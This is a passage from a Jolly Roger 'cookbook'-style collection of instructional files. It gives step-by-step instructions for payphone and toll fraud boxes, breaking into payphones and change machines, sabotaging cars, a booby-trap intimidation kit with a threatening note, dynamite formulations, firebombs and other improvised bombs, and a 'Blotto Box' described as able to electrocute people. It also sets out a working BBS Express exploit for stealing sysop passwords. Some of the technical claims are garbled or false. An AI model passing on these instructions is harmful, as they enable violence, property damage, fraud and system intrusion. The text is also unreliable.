death. +There are many more ways to kill and injure an enemy, but these should work best for the average person. This is meant only as information +and I would not recommend that you use this for a simple High School Brawl. Use these methods only, in your opinion, if your life is in danger. +Any one of these methods could very easily kill or cause permanent damage to someone. One more word of caution, you should practice +these moves before using them on a dummy, or a mock battle with a friend. (You don't have to actually hit him to practice, just work on +accuracy.) +41. Phone Systems Tutorial III by The Jolly Roger +Preface: +This article will focus primarily on the standard western electric single- Slot coin telephone (aka fortress fone) which can be divided into 3 +types: + dial-tone first (dtf) + coin-first (cf): (i.e., it wants your $ before you receive a dial tone) + dial post-pay service (pp): you payafter the party answers +Depositing coins (slugs): +Once you have deposited your slug into a fortress, it is subjected to a Gamut of tests. The first obstacle for a slug is the magnetic trap. This +will stop any light-weight magnetic slugs and coins. If it passes this, the slug is then classified as a nickel, dime, or Quarter. Each slug is then +checked for appropriate size and weight. If These tests are passed, it will then travel through a nickel, dime, or quarter Magnet as appropriate. +These magnets set up an eddy current effect which Causes coins of the appropriate characteristics to slow down so they Will follow the +correct trajectory. If all goes well, the coin will follow the Correct path (such as bouncing off of the nickel anvil) where it will Hopefully fall into +the narrow accepted coin channel. The rather elaborate tests that are performed as the coin travels down the Coin chute will stop most slugs +and other undesirable coins, such as Pennies, which must then be retrieved using the coin release lever. If the slug miraculously survives the +gamut, it will then strike the Appropriate totalizer arm causing a ratchet wheel to rotate once for every 5-cent increment (e.g., a quarter will +cause it to rotate 5 times). The totalizer then causes the coin signal oscillator to readout a dual-frequency signal indicating the value deposited +to acts (a computer) or the Tsps operator. These are the same tones used by phreaks in the infamous red boxes. For a quarter, 5 beep tones +are outpulsed at 12-17 pulses per second (pps). A dime causes 2 beep tones at 5 - 8 pps while a nickel causes one beep tone at 5 - 8 pps. +A beep consists of 2 tones: 2200 + 1700 hz. A relay in the fortress called the "B Relay" (yes, there is also an 'a relay') places a capacitor +across the speech circuit during totalizer readout to prevent the "customer" from hearing the red box tones. In older 3 slot phones: one bell +(1050-1100 hz) for a nickel, two bells for a dime, and one gong (800 hz) for a quarter are used instead of the modern dual-frequency tones. +TSPS & ACTS +While fortresses are connected to the co of the area, all transactions are handled via the traffic service position system (tsps). In areas that do +not have acts, all calls that require operator assistance, such as calling card and collect, are automatically routed to a tsps operator position. In +an effort to automate fortress service, a computer system known as automated coin toll service (acts) has been implemented in many areas. +Acts listens to the red box signals from the fones and takes appropriate action. It is acts which says, "two dollars please (pause) please +deposit two dollars for the next ten seconds" (and other variations). Also, if you talk for more than three minutes and then hang-up, acts will +call back and demand your money. Acts is also responsible for automated calling card service. Acts also provide trouble diagnosis for +craftspeople (repairmen specializing in fortresses). For example, there is a coin test which is great for tuning up red boxes. In many areas this +test can be activated by dialing 09591230 at a fortress (thanks to karl marx for this information). Once activated it will request that you deposit +various coins. It will then identify the coin and outpulse the appropriate red box signal. The coins are usually returned when you hang up. To +make sure that there is actually money in the fone, the co initiates a "ground test" at various times to determine if a coin is actually in the fone. +This is why you must deposit at least a nickel in order to use a red box! +Green Boxes: +Paying the initial rate in order to use a red box (on certain fortresses) left a sour taste in many red boxer's mouths thus the green box was +invented. The green box generates useful tones such as coin collect, coin return, and ringback. These are the tones that acts or the tsps +operator would send to The co when appropriate. Unfortunately, the green box cannot be used at a fortress station but it must be used by the +called party. +Here are the tones: +Coin Collect 700 + 1100 Hz +Coin Return 1100 + 1700 Hz +Ringback 700 + 1700 Hz +Before the called party sends any of these tones, an operator released signal should be sent to alert the MF detectors at the co. This can be +accomplished by sending 900 + 1500 hz or a single 2600 hz wink (90 ms) followed by a 60 ms gap and then the appropriate signal for at least +900 Ms. +Also, do not forget that the initial rate is collected shortly before the 3 minute period is up. Incidentally, once the above MF tones for collecting +and returning coins reach the co, they are converted into an appropriate dc pulse (-130 volts for return & +130 volts for collect). This pulse is +then sent down the tip to the fortress. This causes the coin relay to either return or collect the coins. The alleged "t-network" takes advantage +of this information. When a pulse for coin collect (+130 vdc) is sent down the line, it must be grounded somewhere. This is usually either the +yellow or black wire. Thus, if the wires are exposed, these wires can be cut to prevent the pulse from being grounded. When the three minute +initial period is almost up, make sure that the black & yellow wires are severed; then hang up, wait about 15 seconds in case of a second +pulse, reconnect the wires, pick up the fone, hang up again, and if all goes well it should be "jackpot" time. +Physical Attack: +A typical fortress weighs roughly 50 lbs. With an empty coin box. Most of this is accounted for in the armor plating. Why all the security? Well, +Bell contributes it to the following: "social changes during the 1960's made the multislot coin station a prime target for: vandalism, strong arm +robbery, fraud, and theft of service. This brought about the introduction of the more rugged single slot coin station and a new environment for +coin service." As for picking the lock, I will quote Mr. Phelps: "We often fantasize about 'picking the lock' or 'getting a master key.' Well, you can +forget about it. I don't like to discourage people, but it will save you from wasting a lot of our time--time which can be put to better use (heh, +heh)." As for physical attack, the coin plate is secured on all four side by hardened steel bolts which pass through two +slots each. These bolts are in turn interlocked by the main lock. One phreak I know did manage to take one of the 'mothers' home (which was +attached to a piece of plywood at a construction site; otherwise, the permanent ones are a bitch to detach from the wall!). It took him almost ten +hours to open the coin box using a power drill, sledge hammers, and crowbars (which was empty -- perhaps next time, he will deposit a coin +first to hear if it slushes down nicely or hits the empty bottom with a clunk.) +Taking the fone offers a higher margin of success. Although this may be difficult often requiring brute force and there has been several cases +of back axles being lost trying to take down a fone! A quick and dirty way to open the coin box is by using a shotgun. In Detroit, after +ecologists cleaned out a municipal pond, they found 168 coin phones rifled. In colder areas, such as Canada, some shrewd people tape up the +fones using duct tape, pour in water, and come back the next day when the water will have froze thus expanding and cracking the fone open. +In one case, "unauthorized coin collectors" where caught when they brought $6,000 in change to a bank and the bank became suspicious... At +any rate, the main lock is an eight level tumbler located on the right side of the coin box. This lock has 390,625 possible positions (5 ^ 8, since +there are 8 tumblers each with 5 possible positions) thus it is highly pick resistant! The lock is held in place by 4 screws. If there is sufficient +clearance to the right of the fone, it is conceivable to punch out the screws using the drilling pattern below (provided by Alexander Muddy in +tap #32): +!! ^ +!! ! +! 1- 3/16 " !! ! +!<--- --->!! 1-�" +-------------------- ! +! ! !! ! ! +! (+) (+)-! ----------- +---! !! ! ^ +! ! !! ! ! +! ! (Z) !! ! ! +! ! !! ! 2-3/16" +---! !! ! ! +! (+) (+) ! ! +! !! ! ! +-------------------- ----------- +!! +!! +(Z) KEYHOLE (+) SCREWS +!! +After this is accomplished, the lock can be pushed backwards disengaging the lock from the cover plate. The four bolts of the cover plate can +then be retracted by turning the bolt works with a simple key in the shape of the hole on the coin plate (see diagram below). Of course, there +are other methods and drilling patterns. +_ +! ! +( ) +!_! +[ROUGHLY] +DIAGRAM OF COVER PLATE KEYHOLE +The top cover uses a similar, but not as strong locking method with the keyhole depicted above on the top left hide and a regular lock (probably +tumbler also) on the top right-hand side. It is interesting to experiment with the coin chute and the fortresses own "red box" which bell didn't +have the balls to color red. +Miscellaneous: +In a few areas (rural & Canada), post-pay service exists. With this type of service, the mouthpiece is cut off until the caller deposits money +when the called party answers. This also allows for free calls to weather and other dial-it services! Recently, 2600 magazine announced the +clear box which consists of a telephone pickup coil and a small amp. It is based on the principal that the receiver is also a weak transmitter and +that by amplifying your signal you can talk via the transmitter thus avoiding costly telephone charges! Most fortresses are found in the 9xxx +area. Under forme r bell areas, they usually start at 98xx (right below the 99xx official series) and move downward. +Since the line, not the fone, determines whether or not a deposit must be made, dtf & charge-a-call fones make great extensions! Finally, +fortress fones allow for a new hobby--instruction plate collecting. All that is required is a flat-head screwdriver and a pair of needle-nose +pliers. Simply use the screwdriver to lift underneath the plate so that you can grab it with the pliers and yank downwards. I would suggest +covering the tips of the pliers with electrical tape to prevent scratching. Ten cent plates are definitely becoming a "rarity!" +Fortress security: +While a lonely fortress may seem the perfect target, beware! The gestapo has been known to stake out fortresses for as long as 6 years +according to the grass roots quarterly. To avoid any problems, do not use the same fones repeatedly for boxing, calling cards, & other +experiments. The Telco knows how much money should be in the coin box and when its not there they tend to get perturbed (Read: Pissed +Off). +42. Black Box Plans by The Jolly Roger +Introduction: +At any given time, the voltage running through your phone is about 20 Volts. When someone calls you, this voltage goes up to 48 Volts and +rings the bell. When you answer, the voltage goes down to about 10 Volts. The phone company pays attention to this. When the voltage drops +to 10, they start billing the person who called you. +Function: +The Black Box keeps the voltage going through your phone at 36 Volts, so that it never reaches 10 Volts. The phone company is thus fooled +into thinking you never answered the phone and does not bill the caller. However, after about a half hour the phone company will get +suspicious and disconnect your line for about 10 seconds. +Materials: + 1 1.8K Watt Resistor + 1 1�V LED + 1 SPST Switch +Procedure: +1.Open your phone by loosening the two screws on the bottom and lifting the case off. +2.There should be three wires: Red, Green, and Yellow. We'll be working with the Red Wire. +3.Connect the following in parallel: + The Resistor and LED. + The SPST Switch. +In other words, you should end up with this: +(Red Wire) +!---/\/\/\--O--! +(Line)-----! !-----(Phone) +!-----_/_------! +/\/\/\ = Resistor +O = LED +_/_ = SPST +Use: +The SPST Switch is the On/Off Switch of the Black Box. When the box is off, your phone behaves normally. When the box is on and your +phone rings, the LED flashes. When you answer, the LED stays on and the voltage is kept at 36V, so the calling party doesn't get charged. +When the box is on, you will not get a dial tone and thus cannot make calls. Also remember that calls are limited to half an hour. +PS Due to new Fone Company switching systems & the like, this may or may not work in your area. If you live in Bumfuck Kentucky, then try +this out. I make no guarantees! (I never do...) +43. The Infamous Blotto Box!! by The Jolly Roger +(I bet that no one has the balls to build this one!) +Finally, it is here! What was first conceived as a joke to fool the innocent +phreakers around America has finally been conceived! Well, for you people who are unenlightened about the Blotto Box, here is a brief +summery of a legend. +The Blotto Box +For years now every pirate has dreamed of the Blotto Box. It was at first made as a joke to mock more ignorant people into thinking that the +function of it actually was possible. Well, if you are The Voltage Master, it is possible. Originally conceived by King Blotto of much fame, the +Blotto Box is finally available to the public. +NOTE: Jolly Roger can not be responsible for the information disclosed in the file! This file is strictly for informational purposes and should not +be actually built and used! Usage of this electronical impulse machine could have the severe results listed below and could result in high federal +prosecution! Again, I TAKE NO RESPONSIBILITY! All right, now that that is cleared up, here is the basis of the box and it's function. +The Blotto Box is every phreaks dream... you could hold AT&T down on its knee's with this device. Because, quite simply, it can turn off the +phone lines everywhere. Nothing. Blotto. No calls will be allowed out of an area code, and no calls will be allowed in. No calls can be made +inside it for that matter. As long as the switching system stays the same, this box will not stop at a mere area code. It will stop at nothing. The +electrical impulses that emit from this box will open every line. Every line will ring and ring and ring... the voltage will never be cut off until the +box/generator is stopped. This is no 200 volt job, here. We are talking GENERATOR. Every phone line will continue to ring, and +people close to the box may be electrocuted if they pick up the phone. But, the Blotto Box can be stopped by merely cutting of the line or +generator. If they are cut off then nothing will emit any longer. It will take a while for the box to calm back down again, but that is merely a +superficial aftereffect. Once again: Construction and use of this box is not advised! The Blotto Box will continue as long as there is electricity to +continue with. OK, that is what it does, now, here are some interesting things for you to do with it... +Blotto Functions/Installing +Once you have installed your Blotto, there is no turning back. The following are the instructions for construction and use of this box. Please +read and heed all warnings in the above section before you attempt to construct this box. +Materials: + A Honda portable generator or a main power outlet like in a stadium or some such place. + 400 volt rated coupler that splices a female plug into a phone line jack. + A meter of voltage to attach to the box itself. + A green base (i.e. one of the nice boxes about 3' by 4' that you see around in your neighborhood. They are the main switch boards and +would be a more effective line to start with or a regular phone jack (not your own, and not in your area code!) + A soldering iron and much solder. + A remote control or long wooden pole. +Now. You must have guessed the construction from that. If not, here goes, I will explain in detail. Take the Honda Portable Generator and all of +the other listed equipment and go out and hunt for a green base. Make sure it is one on the ground or hanging at head level from a pole, not the +huge ones at the top of telephone poles. Open it up with anything convenient, if you are two feeble then fuck, don't try this. Take a look inside... +you are hunting for color-coordinating lines of green and red. Now, take out your radio shack cord and rip the meter thing off. Replace it with +the voltage meter about. A good level to set the voltage to is about 1000 volts. Now, attach the voltage meter to the cord and set the limit for +one thousand. Plug the other end of the cord into the generator. Take the phone jack and splice the jack part off. Open it up and match the red +and green wires with the other red and green wires. +NOTE: If you just had the generator on and have done this in the correct order, you will be a crispy critter. Keep the generator off until you plan +to start it up. Now, solder those lines together carefully. Wrap duck tape or insulation tape around all of the wires. Now, place the remote +control right on to the startup of the generator. If you have the long pole, make sure it is very long and stand back as far away as you can get +and reach the pole over. +NOTICE: If you are going right along with this without reading the file first, you still realize now that your area code is about to become null! +Then, getting back, twitch the pole/remote control and run for your damn life. Anywhere, just get away from it. It will be generating so much +electricity that if you stand to close you will kill yourself. The generator will smoke, etc. but will not stop. You are now killing your area code, +because all of that energy is spreading through all of the phone lines around you in every direction. +Have a nice day! +The Blotto Box: Aftermath +Well, that is the plans for the most devastating and ultimately deadly +box ever created. My hat goes off to: King Blotto (for the original idea). +44. Blowgun by The Jolly Roger +In this article I shall attempt to explain the use and manufacture of a powerful blow -gun and making darts for the gun. The possession of the +blow gun described in this article IS a felony. So be careful where you use it. I don't want to get you all busted. +Needed: +1.Several strands of yarn (About 2 inches a-piece). +2.A regular pencil. +3.A 2 inch long needle (hopefully with a beaded head. If not obtainable, wrap tape around end of needle. +4. foot pipe. (PVC or Aluminum) Half a inch in diameter. +Constructing the dart: +1.Carefully twist and pull the metal part (Along with eraser) of the pencil till it comes off. +2.Take Pin and start putting about 5-7 Strands of yarn on the pin. Then push them up to the top of the pin. But not over the head of the pin (or +the tape). +3.Push pin through the hollow part of the head where the pencil was before. +4.That should for a nice looking dart. (see illustration) +##### +>>>>>-----/ # is the yarn +> is the head of the pencil +- is the pin it-self +/ is the head of the pin +Using the Darts: +1.Now take the finished dart and insert it in the tube (if it is too small put on more yarn.) +2.Aim the tube at a door, wall, sister, ect. +3.Blow on the end of the pipe. +4.Sometimes the end of the pipe may be sharp. When this happens I suggest you wrap it with some black electrician tape. It should feel a lot +better. +45. Brown Box Plans by The Jolly Roger +This is a fairly simple mod that can be made to any phone. All it does is allow you to take any two lines in your house and create a party line. +So far I have not heard of anyone who has any problems with it. There is one thing that you will notice when you are one of the two people +who is called by a person with a brown box. The other person will sound a little bit faint. I could overcome this with some amplifiers but then +there wouldn't be very many of these made [Why not?]. I think the convenience of having two people on the line at once will make up for any +minor volume loss. +Here is the diagram: +KEY:___________________________________ +| PART | SYMBOL | +|---------------------------------| +| BLACK WIRE | * | +| YELLOW WIRE | = | +| RED WIRE | + | +| GREEN WIRE | - | +| SPDT SWITCH | _/_ | +| _/_ | +| VERTICAL WIRE | | | +| HORIZONTAL WIRE | _ | +----------------------------------- +* = - + +* = - + +* = - + +* = - + +* = - + +* ==_/_- + +*******_/_++++++ +| | +| | +| | +| | +| | +| | +|_____PHONE____| +46. Calcium Carbide Bomb by The Jolly Roger +This is EXTREMELY DANGEROUS. Exercise extreme caution.... Obtain some calcium carbide. This is the stuff that is used in carbide lamps and +can be found at nearly any hardware store. Take a few pieces of this stuff (it looks like gravel) and put it in a glass jar with some water. Put a +lid on tightly. The carbide will react with the water to produce acetylene carbonate which is similar to the gas used in cutting torches. +Eventually the glass with explode from internal pressure. If you leave a burning rag nearby, you will get a nice fireball! +47. More Ways to Send a Car to Hell by The Jolly Roger +Due to a lot of compliments, I have written an update to file #14. I have left the original intact. This expands upon the original idea, and could be +well called a sequel. +How to have phun with someone else's car. If you really detest someone, and I mean detest, here's a few tips on what to do in your spare +time. Move the windshield wiper blades, and insert and glue tacks. The tacks make lovely designs. If your "friend" goes to school with you, +Just before he comes out of school. Light a lighter and then put it directly underneath his car door handle. Wait...Leave...Listen. When you +hear a loud "shit!", you know he made it to his car in time. Remove his muffler and pour approximately 1 Cup of gas in it. Put the muffler back, +then wait till their car starts. Then you have a cigarette lighter. A 30 foot long cigarette lighter. This one is effective, and any fool can do it. +Remove the top air filter. That's it! Or a oldie but goodie: sugar in the gas tank. Stuff rags soaked in gas up the exhaust pipe. Then you wonder +why your "friend" has trouble with his/her lungs. Here's one that takes time and many friends. Take his/her car then break into their house +and reassemble it, in their living or bedroom. Phun eh? If you're into engines, say eeni mine moe and point to something and remove it. They +wonder why something doesn't work. There are so many others, but the real good juicy ones come by thinking hard. +48. Ripping off Change Machines by The Jolly Roger +Have you ever seen one of those really big changer machines in airports Laundromats or arcades that dispense change when you put in your +1 or 5 dollar bill? Well then, here is an article for you. +1.Find the type of change machine that you slide in your bill length wise, not the type where you put the bill in a tray and then slide the tray in!!! +2.After finding the right machine, get a $1 or $5 bill. Start crumpling up into a ball. Then smooth out the bill, now it should have a very wrinkly +surface. +3.Now the hard part. You must tear a notch in the bill on the left side about inch below the little 1 dollar symbol (See Figure). +4.If you have done all of this right then take the bill and go out the machine. Put the bill in the machine and wait. What should happen is: when +you put your bill in the machine it thinks everything is fine. When it gets to the part of the bill with the notch cut out, the machine will reject +the bill and (if you have done it right) give you the change at the same time!!! So, you end up getting your bill back, plus the change!! It might +take a little practice, but once you get the hang of it, you can get a lot of money! +\-----Make notch here. About �" down from the 1. +49. Clear Box Plans by The Jolly Roger +The clear box is a new device which has just been invented that can be used throughout Canada and rural United States. The clear box works +on "PostPay" payphones (fortress fones). Those are the payphones that don't require payment until after the connection is established. You +pick up the fone, get a dial tone, dial your number, and then insert your money after the person answers. If you don't deposit the money then +you can not speak to the person on the other end because your mouth piece is cut off but not the ear-piece. (obviously these phones are nice +for free calls to weather or time or other such recordings). All you must do is to go to your nearby Radio Shack, or electronics store, and get a +four-transistor amplifier and a telephone suction cup induction pick-up. The induction pick-up would be hooked up as it normally would to +record a conversation, except that it would be plugged into the output of the amplifier and a microphone would be hooked to the input. So when +the party that is being called answers, the caller could speak through the little microphone instead. His voice then goes through the amplifier +and out the induction coil, and into the back of the receiver where it would then be broadcast through the phone lines and the other party +would be able to hear the caller. The Clear Box thus 'clears up' the problem of not being heard. Luckily, the line will not be cut-off after a certain +amount of time because it will wait forever for the coins to be put in. The biggest advantage for all of us about this new clear box is the fact +that this type of payphone will most likely become very common. Due to a few things: 1st, it is a cheap way of getting the DTF, dial-tone-first +service, 2nd, it doesn't require any special equipment, (for the phone company) This payphone will work on any phone line. Usually a +payphone line is different, but this is a regular phone line and it is set up so the phone does all the charging, not the company. +50. CNA List by The Jolly Roger +NPA TEL NUMBER NPA TEL NUMBER NPA TEL NUMBER +201 201-676-7070 415 415-543-6374 709 *** NONE *** +202 304-343-7016 416 416-443-0542 712 402-580-2255 +203 203-789-6815 417 314-721-6626 713 713-861-7194 +204 204-949-0900 418 514-725-2491 714 818-501-7251 +205 205-988-7000 419 614-464-0123 715 608-252-6932 +206 206-382-5124 501 405-236-6121 716 518-471-8111 +207 617-787-5300 502 502-583-2861 717 412-633-5600 +208 303-293-8777 503 206-382-5124 718 518-471-8111 +209 415-543-2861 504 504-245-5330 801 303-293-8777 +212 518-471-8111 505 303-293-8777 802 617-787-5300 +213 415-781-5271 506 506-648-3041 803 912-784-0440 +214 214-464-7400 507 402-580-2255 804 304-344-7935 +215 412-633-5600 509 206-382-5124 805 415-543-2861 +216 614-464-0123 512 512-828-2501 806 512-828-2501 +217 217-525-5800 513 614-464-0123 807 416-443-0542 +218 402-580-2255 514 514-725-2491 808 212-334-4336 +219 317-265-4834 515 402-580-2255 809 212-334-4336 +301 304-343-1401 516 518-471-8111 812 317-265-4834 +302 412-633-5600 517 313-223-8690 813 813-228-7871 +303 303-293-8777 518 518-471-8111 814 412-633-5600 +304 304-344-8041 519 416-443-0542 815 217-525-5800 +305 912-784-0440 601 601-961-8139 816 816-275-2782 +306 306-347-2878 602 303-293-8777 817 214-464-7400 +307 303-293-8777 603 617-787-5300 818 415-781-5271 +308 402-580-2255 604 604-432-2996 819 514-725-2491 +309 217-525-5800 605 402-580-2255 901 615-373-5791 +312 312-796-9600 606 502-583-2861 902 902-421-4110 +313 313-223-8690 607 518-471-8111 904 912-784-0440 +314 314-721-6626 608 608-252-6932 906 313-223-8690 +315 518-471-8111 609 201-676-7070 907 *** NONE *** +316 816-275-2782 612 402-580-2255 912 912-784-0440 +317 317-265-4834 613 416-443-0542 913 816-275-2782 +318 504-245-5330 614 614-464-0123 914 518-471-8111 +319 402-580-2255 615 615-373-5791 915 512-828-2501 +401 617-787-5300 616 313-223-8690 916 415-543-2861 +402 402-580-2255 617 617-787-5300 918 405-236-6121 +403 403-425-2652 618 217-525-5800 919 912-784-0440 +404 912-784-0440 619 818-501-7251 900 201-676-7070 +405 405-236-6121 701 402-580-2255 +406 303-293-8777 702 415-543-2861 +408 415-543-6374 703 304-344-7935 +409 713-861-7194 704 912-784-0440 +412 413-633-5600 705 416-979-3469 +413 617-787-5300 706 *** NONE *** +414 608-252-6932 707 415-543-6374 +51. Electronic Terrorism by The Jolly Roger +1.It starts when a big, dumb lummox rudely insults you. Being of a rational, intelligent disposition, you wisely choose to avoid a (direct) +confrontation. But as he laughs in your face, you smile inwardly ---your revenge is already planned. +2.Follow your victim to his locker, car, or house. Once you have chosen your target site, lay low for a week or more, letting your anger boil. +3.In the mean time, assemble your versatile terrorist kit(details below.) +4.Plant your kit at the designated target site on a Monday morning between the hours of 4:00 am and 6:00 am. Include a calm, suggestive note +that quietly hints at the possibility of another attack. Do not write it by hand! An example of an effective note: "don't be such a jerk, or the +next one will take off your hand. Have a nice day." Notice how the calm tone instills fear. As if written by a homicidal psychopath. +5.Choose a strategic location overlooking the target site. Try to position yourself in such a way that you can see his facial contortions. +6.Sit back and enjoy the fireworks! Assembly of the versatile, economic, and effective terrorist kit #1: the parts you'll need are: + 4 AA batteries + 1 9-volt battery + 1 SPDT mini relay (radio shack) + 1 rocket engine(smoke bomb or m-80) + 1 solar igniter (any hobby store) + 1 9-volt battery connector +1.Take the 9-volt battery and wire it through the relay's coil. This circuit should also include a pair of contacts that when separated cut off this +circuit. These contacts should be held together by trapping them between the locker, mailbox, or car door. Once the door is opened, the +contacts fall apart and the 9-volt circuit is broken, allowing the relay to fall to the closed position thus closing the ignition circuit. (If all this +is confusing take a look at the schematic below.) +2.Take the 4 AA batteries and wire them in succession. Wire the positive terminal of one to the negative terminal of another, until all four are +connected except one positive terminal and one negative terminal. Even though the four AA batteries only combine to create 6 volts, the +increase in amperage is necessary to activate the solar igniter quickly and effectively. +3.Take the battery pack (made in step 2) and wire one end of it to the relay's single pole and the other end to one prong of the solar igniter. +Then wire the other prong of the solar igniter back to the open position on the relay. +4.Using double sided carpet tape mount the kit in his locker, mailbox, or car door. And last, insert the solar igniter into the rocket engine (smoke +bomb or m-80). +Your kit is now complete! +---------><--------- +I (CONTACTS) I +I I +I - (BATTERY) +I --- +I I +I (COIL) I +------/////// ------- +/----------- +/ I +/ I +/ I +(SWITCH) I I +I I +I --- (BATTERY) +I - ( PACK ) +I --- +I I +I I +---- ----- +I I +* +(SOLAR IGNITER) +52. How to Start A Conference w/o 2600hz or M-F by The Jolly Roger +This method of starting the conf. Depends on your ability to bullshit the operator into dialing a number which can only be reached with an +operator's M-F tones. When bullshitting the operator remember operator's are not hired to think but to do. +Here is a step-by-step way to the conf.: +Call the operator through a pbx or extender, you could just call one Through your line but I wouldn't recommend it. +Say to the operator: TSPS maintenance engineer, ring-forward to 213+080+1100, position release, thank you.(she will probably ask you for +the number again) Definitions: +Ring-forward instructs her to dial the number. +Position release instructs her to release the trunk after she has dialed the number. ++ - remember to say 213plus080 plus1100. +3. When you are connected with the conf. You will here a whistle blow twice and a recording asking you for your operator number. Dial in any +five digits and hit the pounds sign a couple of times. Simply dial in the number of the billing line ect. When the recording ask for it. When in the +control mode of the conf. Hit '6' to transfer control. Hit '001' to reenter the number of conferee's and time amount which you gave when you +stared the conf. Remember the size can be from 2-59 conferee's. I have not found out the 'lengths' limits. +53. How to Make Dynamite by The Jolly Roger +Dynamite is nothing more than just nitroglycerin and a stabilizing agent to make it much safer to use. The numbers are percentages, be sure to +mix these carefully and be sure to use the exact amounts. These percentages are in weight ratio, not volume. +Number Ingredients Amount +1st Nitroglycerin 32% +Sodium Nitrate 28% +Woodmeal 10% +Ammonium Oxalate 29% +Guncotton 1% +2nd Nitroglycerin 24% +Potassium Nitrate 9% +Sodium Nitrate 56% +Woodmeal 9% +Ammonium Oxalate 2% +3rd Nitroglycerin 35�% +Potassium Nitrate 44�% +Woodmeal 6% +Guncotton 2�% +Vaseline 5�% +Powdered Charcoal 6% +4th Nitroglycerin 25% +Potassium Nitrate 26% +Woodmeal 34% +Barium Nitrate 5% +Starch 10% +5th Nitroglycerin 57% +Potassium Nitrate 19% +Woodmeal 9% +Ammonium Oxalate 12% +Guncotton 3% +6th Nitroglycerin 18% +Sodium Nitrate 70% +Woodmeal 5�% +Potassium Chloride 4�% +Chalk 2% +7th Nitroglycerin 26% +Woodmeal 40% +Barium Nitrate 32% +Sodium Carbonate 2% +8th Nitroglycerin 44% +Woodmeal 12% +Anhydrous Sodium Sulfate 44% +9th Nitroglycerin 24% +Potassium Nitrate 32�% +Woodmeal 33�% +Ammo nium Oxalate 10% +10th Nitroglycerin 26% +Potassium Nitrate 33% +Woodmeal 41% +11th Nitroglycerin 15% +Sodium Nitrate 62.9% +Woodmeal 21.2% +Sodium Carbonate .9% +12th Nitroglycerin 35% +Sodium Nitrate 27% +Woodmeal 10% +Ammonium Oxalate 1% +13th Nitroglycerin 32% +Potassium Nitrate 27% +Woodmeal 10% +Ammonium Oxalate 30% +Guncotton 1% +14th Nitroglycerin 33% +Woodmeal 10.3% +Ammonium Oxalate 29% +Guncotton .7% +Potassium Perchloride 27% +15th Nitroglycerin 40% +Sodium Nitrate 45% +Woodmeal 15% +16th Nitroglycerin 47% +Starch 50% +Guncotton 3% +17th Nitroglycerin 30% +Sodium Nitrate 22.3% +Woodmeal 40�% +Potassium Chloride 7.2% +18th Nitroglycerin 50% +Sodium Nitrate 32.6% +Woodmeal 17% +Ammonium Oxalate .4% +19th Nitroglycerin 23% +Potassium Nitrate 27�% +Woodmeal 37% +Ammonium Oxalate 8% +Barium Nitrate 4% +Calcium Carbonate �% +If you can't seem to get one or more of the ingredients try another one. If you still can't, you can always buy small amounts from your school, +or maybe from various chemical companies. When you do that, be sure to say as little as possible, if during the school year, and they ask, say +it's for a experiment for school. +54. Auto Exhaust Flame Thrower by The Jolly Roger +For this one, all you need is a car, a spark plug, ignition wire and a switch. Install the spark plug into the last four or five inches of the tail pipe +by drilling a hole that the plug can screw into easily. Attach the wire (this is regular insulated wire) to one side of the switch and to the spark +plug. The other side of the switch is attached to the positive terminal on the battery. With the car running, simply hit the switch and watch the +flames fly!!! Again be careful that no one is behind you! I have seen some of these flames go 20 feet!!! +55. Breaking into BBS Express by The Jolly Roger +If you have high enough access on any BBS Express BBS you can get the Sysop's password without any problems and be able to log on as +him and do w hatever you like. Download the Pass file, delete the whole BBS, anything. Its all a matter of uploading a text file and downloading it +from the BBS. You must have high enough access to see new uploads to do this. If you can see a file you just uploaded you have the ability to +break into the BBS in a few easy steps. Why am I telling everyone this when I run BBS Express myself? Well there is one way to stop this from +happening and I want other Sysops to be aware of it and not have it happen to them. Breaking in is all based on the MENU function of BBS +Express. Express will let you create a menu to display different text files by putting the word MENU at the top of any text file and stating what +files are to be displayed. But due to a major screw up by Mr. Ledbetter you can use this MENU option to display the USERLOG and the Sysop's +Passwords or anything else you like. I will show you how to get the Sysop's pass and therefore log on as the Sysop. BBs Express Sysop's +have 2 passwords. One like everyone else gets in the form of X1XXX, and a Secondary password to make it harder to hack out the Sysops +pass. The Secondary pass is found in a file called SYSDATA.DAT. This file must be on drive 1 and is therefore easy to get. +All you have to do is upload this simple Text file: +MENU +1 +D1:SYSDATA.DAT +Rip-off time! +After you upload this file you download it non-Xmodem. Stupid Express thinks +it is displaying a menu and you will see this: +Rip-off time! +Selection [0]: +Just hit 1 and Express will display the SYSDATA.DAT file. OPPASS is where the Sysop's Secondary pass will be. D1:USERLOG.DAT is where +you will find the name and Drive number of the USERLOG.DAT file. The Sysop might have renamed this file or put it in a Subdirectory or even +on a different drive. I Will Assume he left it as D1:USERLOG.DAT. The other parts of this file tell you where the .HLP screens are and where +the LOG is saved and all the Download path names. +Now to get the Sysop's primary pass you upload a text file like this: +MENU +1 +D1:USERLOG.DAT +Breaking into Bedwetter's BBS +Again you then download this file non-Xmodem and you will see: +Breaking into Bedwetter's BBS +Selection [0]: +You then hit 1 and the long USERLOG.DAT file comes flying at you. The Sysop is the first entry in this very long file so it is easy. You will see: +SYSOP'S NAME X1XXX +You should now have his 2 passwords. +There is only one easy way out of this that I can think of, and that is to make all new uploads go to SYSOP level (Level 9) access only. This +way nobody can pull off what I just explained. I feel this is a major Bug on Mr. Ledbetter's part. I just don't know why no one had thought of it +before. I would like to give credit to Redline for the message he left on Modem Hell telling about this problem, and also to Unka for his ideas and +input about correcting it. +56. Firebombs by The Jolly Roger +Most fire bombs are simply gasoline filled bottles with a fuel soaked rag in the mouth (the bottle's mouth, not yours). The original Molotov +cocktail, and still about the best, was a mixture of one part gasoline and one part motor oil. The oil helps it to cling to what it splatters on. Some +use one part roofing tar and one part gasoline. Fire bombs have been found which were made by pouring melted wax into gasoline. +57. Fuse Ignition Bomb by The Jolly Roger +A four strand homemade fuse is used for this. It burns like fury. It is held down and concealed by a strip of bent tin cut from a can. The +exposed end of the fuse is dipped into the flare igniter. To use this one, you light the fuse and hold the fire bomb until the fuse has burned out +of sight under the tin. Then throw it and when it breaks, the burning fuse will ignite the contents. +58. Generic Bomb by The Jolly Roger +1.Acquire a glass container. +2.Put in a few drops of gasoline. +3.Cap the top. +4.Now turn the container around to coat the inner surfaces and then evaporates. +5.Add a few drops of potassium permanganate (Get this stuff from a snake bite kit) +6.The bomb is detonated by throwing against a solid object. +After throwing this thing, run like hell. This thing packs about stick of dynamite. +59. Green Box Plans by the Jolly Roger +Paying the initial rate in order to use a red box (on certain fortresses) left a sour taste in many red boxers mouths, thus the green box was +invented. The green box generates useful tones such as COIN COLLECT, COIN RETURN, AND RINGBACK. These are the tones that ACTS or +the TSPS operator would send to the CO when appropriate. Unfortunately, the green box cannot be used at the 